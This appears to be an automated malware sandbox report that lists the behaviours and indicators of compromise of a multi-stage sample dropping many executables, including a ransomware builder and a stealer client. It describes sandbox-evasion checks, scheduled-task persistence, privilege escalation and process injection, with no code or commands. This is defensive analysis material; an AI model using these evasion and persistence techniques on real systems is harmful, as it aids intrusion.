Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	721E.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	987123.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	asg.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	721E.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	83f32a3d2dc9e3d9903f395a20b8ddd74a1f35487c6dffd67d9d9a014961f9d0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	asg.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	83f32a3d2dc9e3d9903f395a20b8ddd74a1f35487c6dffd67d9d9a014961f9d0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uuishcr
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	987123.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	83f32a3d2dc9e3d9903f395a20b8ddd74a1f35487c6dffd67d9d9a014961f9d0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uuishcr

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

syncUpd.exetimeSync.exeopenwith.exefirefox.exeinstall.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	syncUpd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	syncUpd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	timeSync.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	openwith.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	timeSync.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	install.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	openwith.exe

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
4152	schtasks.exe
5076	schtasks.exe
5800	schtasks.exe
3336	schtasks.exe
8412	schtasks.exe
2372	schtasks.exe
5252	schtasks.exe
6428	schtasks.exe
6188	schtasks.exe
5152	schtasks.exe
8976	schtasks.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2544 timeout.exe
Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

8028 tasklist.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exechrome.exechrome.exechrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

GoLang User-Agent 4 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description	flow	ioc
HTTP User-Agent header	604	Go-http-client/1.1
HTTP User-Agent header	923	Go-http-client/1.1
HTTP User-Agent header	924	Go-http-client/1.1
HTTP User-Agent header	1017	Go-http-client/1.1

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

744 taskkill.exe
4272 taskkill.exe

Modifies Control Panel 2 IoCs

Processes:

abc.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Control Panel\Desktop	abc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Control Panel\Desktop\WallpaperStyle = "10"	abc.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

d21cbe21e38b385a41a68c5e6dd32f4c.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exenetsh.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	d21cbe21e38b385a41a68c5e6dd32f4c.exe

Modifies registry class 11 IoCs

Processes:

abc.exe1800.exeARA.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\1YwR2c1YK\DefaultIcon\ = "C:\\ProgramData\\1YwR2c1YK.ico"	abc.exe
Key created	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.1YwR2c1YK\ = "1YwR2c1YK"	abc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\1YwR2c1YK	abc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\1YwR2c1YK\DefaultIcon	abc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	1800.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance
Key created	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000_Classes\Local Settings	ARA.exe
Key created	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\SplashScreen
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.1YwR2c1YK	abc.exe

NTFS ADS 1 IoCs

Processes:

NINJA.exe

description ioc process

File opened for modification C:\Users\Admin\AppData\Local\Temp\Files\winmgmts:\localhost\root\SecurityCenter2 NINJA.exe
Runs net.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

installer.exe

pid process

4388 installer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

toolspub1.exepowershell.exe.exed21cbe21e38b385a41a68c5e6dd32f4c.exe

pid	process
3500	toolspub1.exe
3500	toolspub1.exe
2488	powershell.exe
2488	powershell.exe
2488	powershell.exe
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
3340
4800	.exe
4800	.exe
3340
3340
3340
3340
3340
3340
524	d21cbe21e38b385a41a68c5e6dd32f4c.exe
524	d21cbe21e38b385a41a68c5e6dd32f4c.exe
3340
3340
3340
3340
3340
3340
3340

Suspicious behavior: GetForegroundWindowSpam 6 IoCs

Processes:

6.exeinstaller.exeNINJA.exe4363463463464363463463463.bin.exeransom_builder.exe

pid process

1468 6.exe
4388 installer.exe
3340
6268 NINJA.exe
3772 4363463463464363463463463.bin.exe
6392 ransom_builder.exe
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

toolspub1.exe721E.exeviewer.exeliveupdate.execmd.exe

pid process

3500 toolspub1.exe
4068 721E.exe
7036 viewer.exe
6892 liveupdate.exe
6552 cmd.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

Processes:

chrome.exechrome.exe

pid process

5432 chrome.exe
5432 chrome.exe
5432 chrome.exe
5432 chrome.exe
1436 chrome.exe
1436 chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

4363463463464363463463463.bin.exepowershell.exema.exe.exed21cbe21e38b385a41a68c5e6dd32f4c.exeapp1.exepowershell.exevbc.exewerfault.exeghjk.exepowershell.exepowershell.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3772	4363463463464363463463463.bin.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	992	ma.exe
Token: SeDebugPrivilege	4800	.exe
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeDebugPrivilege	524	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Token: SeImpersonatePrivilege	524	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Token: SeDebugPrivilege	4160	app1.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeLockMemoryPrivilege	2392	vbc.exe
Token: SeLockMemoryPrivilege	2392	vbc.exe
Token: SeDebugPrivilege	1960	werfault.exe
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeDebugPrivilege	4812	ghjk.exe
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeDebugPrivilege	628	powershell.exe
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	744	taskkill.exe
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340
Token: SeShutdownPrivilege	3340
Token: SeCreatePagefilePrivilege	3340

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

vbc.exeinstaller.exejune.tmpcmd.exefu.exesystem.exeHelper.exe

pid	process
2392	vbc.exe
4388	installer.exe
4388	installer.exe
4556	june.tmp
5852	cmd.exe
4308	fu.exe
3340
3340
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
364	system.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
5456	Helper.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

fu.exesystem.exe

pid	process
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
4308	fu.exe
364	system.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe
4308	fu.exe
364	system.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

6.exeinstaller.exedota.exeBroomSetup.exefirefox.exerhsgn_protected.exeiexplore.exeEverything.exeplaza.exeransom_builder.exe%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exedota.exeasg.exe

pid	process
1468	6.exe
4388	installer.exe
4388	installer.exe
4900	dota.exe
3000	BroomSetup.exe
5232	firefox.exe
6264	rhsgn_protected.exe
6880	iexplore.exe
4636	Everything.exe
7372	plaza.exe
6392	ransom_builder.exe
6480	%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe
1808	dota.exe
6680	asg.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4363463463464363463463463.bin.exedayroc.exed21cbe21e38b385a41a68c5e6dd32f4c.exema.execmd.exe.execmd.exepowershell.exed21cbe21e38b385a41a68c5e6dd32f4c.exe

description	pid	process	target process
PID 3772 wrote to memory of 648	3772	4363463463464363463463463.bin.exe	dayroc.exe
PID 3772 wrote to memory of 648	3772	4363463463464363463463463.bin.exe	dayroc.exe
PID 3772 wrote to memory of 648	3772	4363463463464363463463463.bin.exe	dayroc.exe
PID 648 wrote to memory of 5068	648	dayroc.exe	nine.exe
PID 648 wrote to memory of 5068	648	dayroc.exe	nine.exe
PID 648 wrote to memory of 5068	648	dayroc.exe	nine.exe
PID 648 wrote to memory of 524	648	dayroc.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
PID 648 wrote to memory of 524	648	dayroc.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
PID 648 wrote to memory of 524	648	dayroc.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
PID 648 wrote to memory of 3500	648	dayroc.exe	toolspub1.exe
PID 648 wrote to memory of 3500	648	dayroc.exe	toolspub1.exe
PID 648 wrote to memory of 3500	648	dayroc.exe	toolspub1.exe
PID 3772 wrote to memory of 4160	3772	4363463463464363463463463.bin.exe	app1.exe
PID 3772 wrote to memory of 4160	3772	4363463463464363463463463.bin.exe	app1.exe
PID 3772 wrote to memory of 1468	3772	4363463463464363463463463.bin.exe	6.exe
PID 3772 wrote to memory of 1468	3772	4363463463464363463463463.bin.exe	6.exe
PID 3772 wrote to memory of 1468	3772	4363463463464363463463463.bin.exe	6.exe
PID 524 wrote to memory of 2488	524	d21cbe21e38b385a41a68c5e6dd32f4c.exe	powershell.exe
PID 524 wrote to memory of 2488	524	d21cbe21e38b385a41a68c5e6dd32f4c.exe	powershell.exe
PID 524 wrote to memory of 2488	524	d21cbe21e38b385a41a68c5e6dd32f4c.exe	powershell.exe
PID 3772 wrote to memory of 2636	3772	4363463463464363463463463.bin.exe	StealerClient_Sharp_1_4.exe
PID 3772 wrote to memory of 2636	3772	4363463463464363463463463.bin.exe	StealerClient_Sharp_1_4.exe
